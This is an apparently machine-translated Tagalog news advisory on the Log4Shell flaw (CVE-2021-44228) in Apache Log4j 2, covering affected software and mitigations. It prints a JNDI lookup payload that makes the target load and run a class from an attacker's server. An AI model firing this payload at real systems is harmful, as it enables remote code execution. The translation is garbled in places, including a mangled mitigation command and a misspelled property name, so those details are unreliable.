Kamakailan lamang sInilabas niya ang balita na natukoy ang isang kritikal na kahinaan sa Apache Log4j 2, na kung saan ay nailalarawan bilang isang tanyag na balangkas para sa pag-aayos ng registry sa mga aplikasyon ng Java, na nagpapahintulot sa arbitrary na code na maisagawa kapag ang isang espesyal na naka-format na halaga ay nakasulat sa registry sa format na "{jndi: URL}".
Kakayahang mangyari Ito ay kapansin-pansin dahil ang pag-atake ay maaaring isagawa sa mga aplikasyon ng Java naItinatala nila ang mga halaga na nakuha mula sa mga panlabas na mapagkukunan, halimbawa sa pamamagitan ng pagpapakita ng mga problemang halaga sa mga mensahe ng error.
Naobserbahan na halos lahat ng mga proyekto na gumagamit ng mga balangkas tulad ng Apache Struts, Apache Solr, Apache Druid o Apache Flink ay apektado, kabilang ang Steam, Apple iCloud, mga kliyente at server ng Minecraft.
Ang kahinaan ay inaasahang hahantong sa isang alon ng napakalaking pag-atake sa mga application ng negosyo, na inuulit ang kasaysayan ng mga kritikal na kahinaan sa framework, ang Apache Struts, na isang magaspang na pagtatantya na ginamit sa 65% ng Fortune 100 na mga web application. Kasama na ang mga web application ng kumpanya. naitala ang mga pagtatangka na i-scan ang network para sa mga masusugatan na sistema.
Ang kahinaan ay nagbibigay-daan sa malayuang pagpapatupad ng hindi napatunayang code. Ang Log4j 2 ay isang open source na Java log library na binuo ng Apache Foundation. Ang Log4j 2 ay malawakang ginagamit sa maraming mga aplikasyon at naroroon, bilang isang dependency, sa maraming mga serbisyo. Kabilang dito ang mga application ng negosyo pati na rin ang maraming serbisyo sa cloud.
Ang pangkat ng pag-atake ng Randori ay nakabuo ng isang functional na pagsasamantala at matagumpay na nagamit ang kahinaan na ito sa mga kapaligiran ng customer bilang bahagi ng aming nakakasakit na platform ng seguridad.
Maaaring ma-access ang kahinaan sa pamamagitan ng maraming mga pamamaraan na tukoy sa application. Sa katunayan, anumang senaryo na nagbibigay-daan sa isang malayuang koneksyon na magbigay ng di-makatwirang data na isinulat ng isang application na gumagamit ng Log4j library upang mag-log ng mga file ay madaling kapitan ng pagsasamantala. Ang kahinaan na ito ay mataas ang posibilidad na pagsasamantalahan sa ligaw at malamang na makakaapekto sa libu-libong organisasyon. Ang kahinaan na ito ay kumakatawan sa isang makabuluhang tunay na panganib sa mga apektadong sistema.
Ang problema ay pinalubha ng katotohanan na ang isang functional exploit ay nai-publish na, hal.Ngunit ang mga pag-aayos para sa mga matatag na sangay ay hindi pa nabubuo. Ang CVE identifier ay hindi pa naitalaga. Ang solusyon ay kasama lamang sa log4j-2.15.0-rc1 test branch. Bilang isang solusyon upang harangan ang kahinaan, inirerekomendang itakda sa true ang parameter na Log4j2.formatMsgNoLookups.
Ang problema ito ay dahil sa katotohanan na sinusuportahan ng Log4j 2 ang paghawak ng mga espesyal na maskara «{}» sa mga linya ng log, kung saan Maaaring tumakbo ang mga query sa JNDI (Pagpapangalan ng Java at Interface ng Direktoryo).
Sa pagsusuri sa CVE-2021-44228, natukoy ni Randori ang sumusunod:
Ang mga default na pag-install ng malawakang ginagamit na software ng negosyo ay mahina.
Ang kahinaan ay maaaring mapagsamantalahan nang mapagkakatiwalaan at walang pagpapatunay.
Ang kahinaan ay nakakaapekto sa maraming bersyon ng Log4j 2.
Ang kahinaan ay nagbibigay-daan sa malayuang pagpapatupad ng code kapag pinatakbo ng user ang application gamit ang library.
Ang pag-atake ay bumababa sa pagpasa ng string na may kapalit na "$ {jndi: ldap: //example.com/a}", na pinoproseso kung saan ang Log4j 2 ay magpapadala ng kahilingan sa LDAP para sa path sa Java class sa server ng attacker.com . Ang path na ibinalik ng server ng attacker (halimbawa, http://example.com/Exploit.class) ay ilo-load at isasagawa sa konteksto ng kasalukuyang proseso, na magbibigay-daan sa attacker na makamit ang arbitrary code execution sa system na may mga karapatan ng kasalukuyang aplikasyon.
Sa wakas, nabanggit na kung may nakitang abnormalidad, inirerekomenda na ipagpalagay mo na ito ay isang aktibong insidente, na ito ay nakompromiso, at tumugon nang naaayon. Aalisin ng pag-upgrade sa mga patched na bersyon ng Log4j 2 o mga apektadong application ang kahinaang ito. Inirerekomenda ni Randori ang anumang organisasyon na sa tingin nito ay maaaring maapektuhan ay agarang mag-upgrade sa isang patched na bersyon.
Sa pinakabagong update mula sa Apache Log4j team, inirerekomenda na gawin ng mga organisasyon ang mga sumusunod
- Update sa Log4j 2.15.0
- Para sa mga hindi makapag-upgrade sa 2.15.0: Sa mga bersyon> = 2.10, ang kahinaan na ito ay maaaring mabawasan sa pamamagitan ng pagtatakda ng log4j2.formatMsgNoLookup system property o ang LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable sa true.
- Para sa mga bersyon 2,0-beta9 hanggang 2.10.0, ang pagpapagaan ay alisin ang JndiLookup class mula sa classpath: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.
Fuente: https://www.lunasec.io/